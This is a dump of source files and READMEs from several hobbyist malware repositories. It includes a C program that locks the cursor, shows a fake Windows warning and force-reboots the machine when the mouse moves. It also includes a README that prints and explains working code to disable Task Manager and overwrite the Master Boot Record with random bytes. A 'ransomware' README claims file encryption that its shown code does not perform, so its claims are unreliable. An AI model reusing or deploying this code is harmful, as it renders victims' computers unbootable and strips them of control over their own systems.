|
|
| 1 |
+
##############################################################################
|
| 2 |
+
|
| 3 |
+
TARGET = MOUSEMVD.EXE
|
| 4 |
+
CFLAGS = -D_UNICODE -DUNICODE -O2 -s
|
| 5 |
+
LDFLAGS = -mwindows -municode -s
|
| 6 |
+
CC = gcc
|
| 7 |
+
WINDRES = windres
|
| 8 |
+
OBJS = $(patsubst %.c,%.o,$(wildcard *.c)) resource.o
|
| 9 |
+
|
| 10 |
+
##############################################################################
|
| 11 |
+
|
| 12 |
+
all: $(TARGET)
|
| 13 |
+
|
| 14 |
+
$(TARGET): $(OBJS)
|
| 15 |
+
$(CC) -o $@ $^ $(LDFLAGS)
|
| 16 |
+
|
| 17 |
+
%.o: %.c
|
| 18 |
+
$(CC) $(CFLAGS) -c $< -o $@
|
| 19 |
+
|
| 20 |
+
resource.o: resource.rc
|
| 21 |
+
$(WINDRES) $< -o $@
|
| 22 |
+
|
| 23 |
+
clean:
|
| 24 |
+
rm -f $(OBJS) $(TARGET)
|
| 25 |
+
|
| 26 |
+
##############################################################################
|
src/MOUSEMVD.EXE_SRC/mousemvd.c
ADDED
|
@@ -0,0 +1,142 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
#include <windowsx.h>
|
| 3 |
+
#include <tchar.h>
|
| 4 |
+
#include <stdio.h>
|
| 5 |
+
|
| 6 |
+
#if !defined(_UNICODE) && !defined(UNICODE)
|
| 7 |
+
#error "Please define _UNICODE and UNICODE in your project settings."
|
| 8 |
+
#endif
|
| 9 |
+
|
| 10 |
+
#define MESSAGE TEXT("Мышь была передвинута.\n\n") \
|
| 11 |
+
TEXT("%WINDOWS_SHORT% должна быть перезагружена,") \
|
| 12 |
+
TEXT(" чтобы изменения вступили в силу.")
|
| 13 |
+
|
| 14 |
+
#define CAPTION TEXT("%WINDOWS_GENERIC%")
|
| 15 |
+
|
| 16 |
+
#define UM_MOUSEMOVE WM_USER + 1
|
| 17 |
+
|
| 18 |
+
typedef PWSTR (WINAPI *BrandingFormatString_t)(PCWSTR pstrFormat);
|
| 19 |
+
|
| 20 |
+
static PWSTR WINAPI BrandingFormatString(PCWSTR pstrFormat)
|
| 21 |
+
{
|
| 22 |
+
FARPROC fpFuncAddress = NULL;
|
| 23 |
+
HMODULE hWinBrandDll = NULL;
|
| 24 |
+
|
| 25 |
+
hWinBrandDll = LoadLibraryEx(TEXT("winbrand.dll"), NULL,
|
| 26 |
+
LOAD_LIBRARY_SEARCH_SYSTEM32);
|
| 27 |
+
|
| 28 |
+
if (hWinBrandDll == NULL) {
|
| 29 |
+
return NULL;
|
| 30 |
+
}
|
| 31 |
+
|
| 32 |
+
fpFuncAddress = GetProcAddress(hWinBrandDll, "BrandingFormatString");
|
| 33 |
+
|
| 34 |
+
if (fpFuncAddress == NULL) {
|
| 35 |
+
return NULL;
|
| 36 |
+
}
|
| 37 |
+
|
| 38 |
+
return ((BrandingFormatString_t) fpFuncAddress)(pstrFormat);
|
| 39 |
+
}
|
| 40 |
+
|
| 41 |
+
static BOOL EnablePrivilege(LPCTSTR lpszPrivilege)
|
| 42 |
+
{
|
| 43 |
+
HANDLE hToken;
|
| 44 |
+
TOKEN_PRIVILEGES tkp;
|
| 45 |
+
BOOL bResult = FALSE;
|
| 46 |
+
|
| 47 |
+
bResult = OpenProcessToken(
|
| 48 |
+
GetCurrentProcess(),
|
| 49 |
+
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken
|
| 50 |
+
);
|
| 51 |
+
|
| 52 |
+
if (bResult == FALSE) {
|
| 53 |
+
return FALSE;
|
| 54 |
+
}
|
| 55 |
+
|
| 56 |
+
LookupPrivilegeValue(NULL, lpszPrivilege, &tkp.Privileges[0].Luid);
|
| 57 |
+
|
| 58 |
+
tkp.PrivilegeCount = 1;
|
| 59 |
+
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
| 60 |
+
|
| 61 |
+
AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(TOKEN_PRIVILEGES),
|
| 62 |
+
NULL, NULL);
|
| 63 |
+
|
| 64 |
+
bResult = (GetLastError() == ERROR_SUCCESS);
|
| 65 |
+
|
| 66 |
+
CloseHandle(hToken);
|
| 67 |
+
return bResult;
|
| 68 |
+
}
|
| 69 |
+
|
| 70 |
+
static DWORD WINAPI MouseMovedThread(LPVOID lpParam)
|
| 71 |
+
{
|
| 72 |
+
PWSTR pszFormatedMessage = BrandingFormatString(MESSAGE);
|
| 73 |
+
PWSTR pszFormatedCaption = BrandingFormatString(CAPTION);
|
| 74 |
+
|
| 75 |
+
MessageBox(
|
| 76 |
+
NULL, pszFormatedMessage, pszFormatedCaption,
|
| 77 |
+
MB_OK | MB_ICONWARNING | MB_SERVICE_NOTIFICATION | MB_SETFOREGROUND
|
| 78 |
+
);
|
| 79 |
+
|
| 80 |
+
GlobalFree(pszFormatedCaption);
|
| 81 |
+
GlobalFree(pszFormatedMessage);
|
| 82 |
+
|
| 83 |
+
if (EnablePrivilege(SE_SHUTDOWN_NAME) == FALSE) {
|
| 84 |
+
return 0;
|
| 85 |
+
}
|
| 86 |
+
|
| 87 |
+
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, SHTDN_REASON_MAJOR_SOFTWARE);
|
| 88 |
+
return 0;
|
| 89 |
+
}
|
| 90 |
+
|
| 91 |
+
static LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam)
|
| 92 |
+
{
|
| 93 |
+
PMSLLHOOKSTRUCT pMouseStruct = (PMSLLHOOKSTRUCT) lParam;
|
| 94 |
+
|
| 95 |
+
if (nCode >= 0 && wParam == WM_MOUSEMOVE) {
|
| 96 |
+
/* HACK: https://stackoverflow.com/a/14441981 */
|
| 97 |
+
PostThreadMessage(
|
| 98 |
+
GetCurrentThreadId(), UM_MOUSEMOVE,
|
| 99 |
+
0, MAKELPARAM(pMouseStruct->pt.x, pMouseStruct->pt.y)
|
| 100 |
+
);
|
| 101 |
+
}
|
| 102 |
+
|
| 103 |
+
return CallNextHookEx(NULL, nCode, wParam, lParam);
|
| 104 |
+
}
|
| 105 |
+
|
| 106 |
+
int WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
| 107 |
+
LPTSTR lpCmdLine, int nCmdShow)
|
| 108 |
+
{
|
| 109 |
+
RECT rcLock = {0};
|
| 110 |
+
HHOOK hMouseHook = NULL;
|
| 111 |
+
MSG msg = {0};
|
| 112 |
+
|
| 113 |
+
Sleep(30000); /* 30s = 30000ms */
|
| 114 |
+
|
| 115 |
+
hMouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseHookProc, NULL, 0);
|
| 116 |
+
|
| 117 |
+
if (hMouseHook == NULL) {
|
| 118 |
+
return -1;
|
| 119 |
+
}
|
| 120 |
+
|
| 121 |
+
while (GetMessage(&msg, NULL, 0, 0) > 0) {
|
| 122 |
+
if ((msg.message == UM_MOUSEMOVE) && IsRectEmpty(&rcLock)) {
|
| 123 |
+
rcLock.left = GET_X_LPARAM(msg.lParam);
|
| 124 |
+
rcLock.top = GET_Y_LPARAM(msg.lParam);
|
| 125 |
+
rcLock.right = rcLock.left + 1;
|
| 126 |
+
rcLock.bottom = rcLock.top + 1;
|
| 127 |
+
|
| 128 |
+
CreateThread(NULL, 0, MouseMovedThread, NULL, 0, NULL);
|
| 129 |
+
}
|
| 130 |
+
|
| 131 |
+
if (msg.message == UM_MOUSEMOVE) {
|
| 132 |
+
ClipCursor(&rcLock);
|
| 133 |
+
continue;
|
| 134 |
+
}
|
| 135 |
+
|
| 136 |
+
TranslateMessage(&msg);
|
| 137 |
+
DispatchMessage(&msg);
|
| 138 |
+
}
|
| 139 |
+
|
| 140 |
+
UnhookWindowsHookEx(hMouseHook);
|
| 141 |
+
return 0;
|
| 142 |
+
}
|
src/MOUSEMVD.EXE_SRC/resource.rc
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include <windows.h>
|
| 2 |
+
|
| 3 |
+
HALOPERIDOZZ ICON DISCARDABLE "haloperidozz.ico"
|
| 4 |
+
|
| 5 |
+
VS_VERSION_INFO VERSIONINFO
|
| 6 |
+
FILEVERSION 1,0,0,0
|
| 7 |
+
PRODUCTVERSION 1,0,0,0
|
| 8 |
+
FILEOS VOS__WINDOWS32
|
| 9 |
+
FILETYPE VFT_APP
|
| 10 |
+
BEGIN
|
| 11 |
+
BLOCK "StringFileInfo"
|
| 12 |
+
BEGIN
|
| 13 |
+
BLOCK "040904E4"
|
| 14 |
+
BEGIN
|
| 15 |
+
VALUE "CompanyName", "TikTok: @haloperidozz"
|
| 16 |
+
VALUE "FileDescription", "TikTok: @haloperidozz"
|
| 17 |
+
VALUE "FileVersion", "1,0,0,0"
|
| 18 |
+
VALUE "InternalName", "MOUSEMVD"
|
| 19 |
+
VALUE "LegalCopyright", "Copyright (C) 2024 haloperidozz (TikTok: @haloperidozz)"
|
| 20 |
+
VALUE "OriginalFilename", "MOUSEMVD.EXE"
|
| 21 |
+
VALUE "ProductName", "MOUSEMVD"
|
| 22 |
+
VALUE "ProductVersion", "1,0,0,0"
|
| 23 |
+
END
|
| 24 |
+
END
|
| 25 |
+
END
|
src/MasonRansomware-main/MasonRansomware.cs
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
using System;
|
| 2 |
+
using System.Windows.Forms;
|
| 3 |
+
|
| 4 |
+
class Program
|
| 5 |
+
{
|
| 6 |
+
static void Main()
|
| 7 |
+
{
|
| 8 |
+
MessageBox.Show("Gangsta freemasonry made me do it", "MasonRansomware");
|
| 9 |
+
Environment.Exit(0);
|
| 10 |
+
}
|
| 11 |
+
}
|
src/MasonRansomware-main/README.md
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
This virus encrypts all files of the victim, or what is called Ransomware
|
| 2 |
+
--------------------------------------------
|
| 3 |
+
also plays an animated image that it cannot remove and locks all programs
|
| 4 |
+
---------------------------------------
|
| 5 |
+

|
| 6 |
+
|
| 7 |
+
---------------------------------------
|
| 8 |
+
and when the device is closed and turned on the program works again
|
src/MasonVirusV3-main/MasonVirus.sln
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio Version 17
|
| 4 |
+
VisualStudioVersion = 17.11.35327.3
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MasonVirus", "MasonVirus\MasonVirus.vcxproj", "{535B1E83-5903-45D2-83EC-C54C99E0A5DA}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Debug|x64 = Debug|x64
|
| 11 |
+
Debug|x86 = Debug|x86
|
| 12 |
+
Release|x64 = Release|x64
|
| 13 |
+
Release|x86 = Release|x86
|
| 14 |
+
EndGlobalSection
|
| 15 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 16 |
+
{535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Debug|x64.ActiveCfg = Debug|x64
|
| 17 |
+
{535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Debug|x64.Build.0 = Debug|x64
|
| 18 |
+
{535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Debug|x86.ActiveCfg = Debug|Win32
|
| 19 |
+
{535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Debug|x86.Build.0 = Debug|Win32
|
| 20 |
+
{535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Release|x64.ActiveCfg = Release|x64
|
| 21 |
+
{535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Release|x64.Build.0 = Release|x64
|
| 22 |
+
{535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Release|x86.ActiveCfg = Release|Win32
|
| 23 |
+
{535B1E83-5903-45D2-83EC-C54C99E0A5DA}.Release|x86.Build.0 = Release|Win32
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 26 |
+
HideSolutionNode = FALSE
|
| 27 |
+
EndGlobalSection
|
| 28 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 29 |
+
SolutionGuid = {E9EE716C-36BD-4F15-AA19-5F66E7ABC6F9}
|
| 30 |
+
EndGlobalSection
|
| 31 |
+
EndGlobal
|
src/MasonVirusV3-main/README.md
ADDED
|
@@ -0,0 +1,154 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# MasonVirusV3
|
| 2 |
+
|
| 3 |
+

|
| 4 |
+
|
| 5 |
+
## Overview
|
| 6 |
+
This program is a demonstration of various advanced system manipulation techniques, including MBR overwriting, disabling system utilities, and simulating visual and input effects. The following sections explain each part of the code in detail.
|
| 7 |
+
|
| 8 |
+
---
|
| 9 |
+
|
| 10 |
+
### Checking for Administrator Privileges
|
| 11 |
+
```cpp
|
| 12 |
+
bool IsRunningAsAdmin() {
|
| 13 |
+
BOOL isAdmin = FALSE;
|
| 14 |
+
PSID adminGroup;
|
| 15 |
+
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
| 16 |
+
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {
|
| 17 |
+
if (CheckTokenMembership(NULL, adminGroup, &isAdmin) == 0) {
|
| 18 |
+
isAdmin = FALSE;
|
| 19 |
+
}
|
| 20 |
+
FreeSid(adminGroup);
|
| 21 |
+
}
|
| 22 |
+
return isAdmin == TRUE;
|
| 23 |
+
}
|
| 24 |
+
```
|
| 25 |
+
|
| 26 |
+
- **Purpose**:
|
| 27 |
+
This function checks whether the program is running with administrative privileges.
|
| 28 |
+
|
| 29 |
+
- **How it works**:
|
| 30 |
+
1. A security identifier (SID) for the "Administrators" group is created using `AllocateAndInitializeSid`.
|
| 31 |
+
2. The program checks if the current process's token belongs to this group using `CheckTokenMembership`.
|
| 32 |
+
3. If the token indicates membership, the function returns `true`, indicating admin privileges.
|
| 33 |
+
4. The SID is freed after use to prevent memory leaks.
|
| 34 |
+
|
| 35 |
+
---
|
| 36 |
+
|
| 37 |
+
### Requesting Administrator Privileges
|
| 38 |
+
```cpp
|
| 39 |
+
void RequestAdminPrivileges() {
|
| 40 |
+
if (!IsRunningAsAdmin()) {
|
| 41 |
+
WCHAR szFilePath[MAX_PATH];
|
| 42 |
+
GetModuleFileName(NULL, szFilePath, MAX_PATH);
|
| 43 |
+
ShellExecute(NULL, L"runas", szFilePath, NULL, NULL, SW_SHOWNORMAL);
|
| 44 |
+
ExitProcess(0);
|
| 45 |
+
}
|
| 46 |
+
}
|
| 47 |
+
```
|
| 48 |
+
|
| 49 |
+
- **Purpose**:
|
| 50 |
+
This function requests administrative privileges if the program is not already running as an administrator.
|
| 51 |
+
|
| 52 |
+
- **How it works**:
|
| 53 |
+
1. It checks for admin privileges using `IsRunningAsAdmin`.
|
| 54 |
+
2. If not running as admin, it restarts the program with elevated privileges using `ShellExecute` with the `"runas"` verb.
|
| 55 |
+
3. The current process exits to allow the elevated instance to take over.
|
| 56 |
+
|
| 57 |
+
---
|
| 58 |
+
|
| 59 |
+
### Disabling Task Manager
|
| 60 |
+
```cpp
|
| 61 |
+
void DisableTaskManager() {
|
| 62 |
+
HKEY hKey;
|
| 63 |
+
if (RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
|
| 64 |
+
DWORD dwData = 1;
|
| 65 |
+
RegSetValueEx(hKey, L"DisableTaskMgr", 0, REG_DWORD, (const BYTE*)&dwData, sizeof(dwData));
|
| 66 |
+
RegCloseKey(hKey);
|
| 67 |
+
}
|
| 68 |
+
}
|
| 69 |
+
```
|
| 70 |
+
|
| 71 |
+
- **Purpose**:
|
| 72 |
+
Disables the Task Manager to prevent the user from terminating the program.
|
| 73 |
+
|
| 74 |
+
- **How it works**:
|
| 75 |
+
1. Opens the registry key `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System`.
|
| 76 |
+
2. Sets the value `DisableTaskMgr` to `1`, which disables Task Manager.
|
| 77 |
+
3. Closes the registry key after making changes.
|
| 78 |
+
|
| 79 |
+
---
|
| 80 |
+
|
| 81 |
+
### Overwriting the Master Boot Record (MBR)
|
| 82 |
+
```cpp
|
| 83 |
+
void OverwriteMBR() {
|
| 84 |
+
HANDLE hDrive = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
|
| 85 |
+
if (hDrive == INVALID_HANDLE_VALUE) {
|
| 86 |
+
return;
|
| 87 |
+
}
|
| 88 |
+
BYTE mbrData[MBR_SIZE];
|
| 89 |
+
std::random_device rd;
|
| 90 |
+
std::mt19937 gen(rd());
|
| 91 |
+
std::uniform_int_distribution<> dis(0, 255);
|
| 92 |
+
for (int i = 0; i < MBR_SIZE; i++)
|
| 93 |
+
mbrData[i] = dis(gen);
|
| 94 |
+
DWORD bytesWritten;
|
| 95 |
+
WriteFile(hDrive, mbrData, MBR_SIZE, &bytesWritten, NULL);
|
| 96 |
+
CloseHandle(hDrive);
|
| 97 |
+
}
|
| 98 |
+
```
|
| 99 |
+
|
| 100 |
+
- **Purpose**:
|
| 101 |
+
This function overwrites the Master Boot Record (MBR) of the primary physical drive, effectively rendering the system unbootable.
|
| 102 |
+
|
| 103 |
+
- **How it works**:
|
| 104 |
+
1. Opens a handle to the primary physical drive (`PhysicalDrive0`) with write access.
|
| 105 |
+
2. Generates random data to fill a buffer of 512 bytes (the size of the MBR).
|
| 106 |
+
3. Writes this random data to the drive, overwriting the MBR.
|
| 107 |
+
4. Closes the handle to the drive.
|
| 108 |
+
|
| 109 |
+
- **Warning**:
|
| 110 |
+
This operation is extremely destructive and should only be executed with a full understanding of its consequences.
|
| 111 |
+
|
| 112 |
+
---
|
| 113 |
+
|
| 114 |
+
### Displaying Random Text on the Screen
|
| 115 |
+
```cpp
|
| 116 |
+
void DisplayRandomText() {
|
| 117 |
+
HDC hdc;
|
| 118 |
+
int sx = 0, sy = 0;
|
| 119 |
+
LPCWSTR lpText = L"ABOLHB"; // ENTER YOUR NAME
|
| 120 |
+
while (true) {
|
| 121 |
+
hdc = GetWindowDC(GetDesktopWindow());
|
| 122 |
+
sx = GetSystemMetrics(SM_CXSCREEN);
|
| 123 |
+
sy = GetSystemMetrics(SM_CYSCREEN);
|
| 124 |
+
TextOutW(hdc, rand() % sx, rand() % sy, lpText, wcslen(lpText));
|
| 125 |
+
Sleep(10);
|
| 126 |
+
}
|
| 127 |
+
}
|
| 128 |
+
```
|
| 129 |
+
|
| 130 |
+
- **Purpose**:
|
| 131 |
+
Randomly displays a predefined text string on the screen at random positions.
|
| 132 |
+
|
| 133 |
+
- **How it works**:
|
| 134 |
+
1. Retrieves the device context (HDC) of the desktop window.
|
| 135 |
+
2. Calculates the screen dimensions using `GetSystemMetrics`.
|
| 136 |
+
3. Displays the text at random positions using `TextOutW`.
|
| 137 |
+
4. The function runs in an infinite loop, continuously displaying the text.
|
| 138 |
+
|
| 139 |
+
---
|
| 140 |
+
|
| 141 |
+
## Disclaimer
|
| 142 |
+
This program contains potentially harmful code, including MBR overwriting, which can permanently damage a computer. Use this code for educational purposes only and at your own risk.
|
| 143 |
+
|
| 144 |
+
---
|
| 145 |
+
|
| 146 |
+
## Acknowledgments
|
| 147 |
+
- **Coded By**: ABOLHB
|
| 148 |
+
- **Group**: FREEMASONRY
|
| 149 |
+
|
| 150 |
+
### Disclaimer of Liability
|
| 151 |
+
The author and group disclaim any liability for misuse of this code. This software is provided "as is" for educational purposes only. Any damage caused by its use is the sole responsibility of the user.
|
| 152 |
+
|
| 153 |
+
|
| 154 |
+
|
src/NEPOTONOD-master/README.md
ADDED
|
@@ -0,0 +1,2 @@
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# NEPOTONOD
|
| 2 |
+
## A noice :ok_hand: malware for leurak's community discord.
|
src/NEPOTONOD-master/nepotonod.sln
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio 15
|
| 4 |
+
VisualStudioVersion = 15.0.27703.2042
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nepotonod", "nepotonod\nepotonod.vcxproj", "{5B154B14-12CA-4931-8AAF-04CE5B66F745}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Debug|x64 = Debug|x64
|
| 11 |
+
Debug|x86 = Debug|x86
|
| 12 |
+
Release|x64 = Release|x64
|
| 13 |
+
Release|x86 = Release|x86
|
| 14 |
+
EndGlobalSection
|
| 15 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 16 |
+
{5B154B14-12CA-4931-8AAF-04CE5B66F745}.Debug|x64.ActiveCfg = Debug|x64
|
| 17 |
+
{5B154B14-12CA-4931-8AAF-04CE5B66F745}.Debug|x64.Build.0 = Debug|x64
|
| 18 |
+
{5B154B14-12CA-4931-8AAF-04CE5B66F745}.Debug|x86.ActiveCfg = Debug|Win32
|
| 19 |
+
{5B154B14-12CA-4931-8AAF-04CE5B66F745}.Debug|x86.Build.0 = Debug|Win32
|
| 20 |
+
{5B154B14-12CA-4931-8AAF-04CE5B66F745}.Release|x64.ActiveCfg = Release|x64
|
| 21 |
+
{5B154B14-12CA-4931-8AAF-04CE5B66F745}.Release|x64.Build.0 = Release|x64
|
| 22 |
+
{5B154B14-12CA-4931-8AAF-04CE5B66F745}.Release|x86.ActiveCfg = Release|Win32
|
| 23 |
+
{5B154B14-12CA-4931-8AAF-04CE5B66F745}.Release|x86.Build.0 = Release|Win32
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 26 |
+
HideSolutionNode = FALSE
|
| 27 |
+
EndGlobalSection
|
| 28 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 29 |
+
SolutionGuid = {7F3B92BA-87BB-4E58-A1BD-F72133714D2B}
|
| 30 |
+
EndGlobalSection
|
| 31 |
+
EndGlobal
|
src/Nitrite-main/LICENSE
ADDED
|
@@ -0,0 +1,674 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
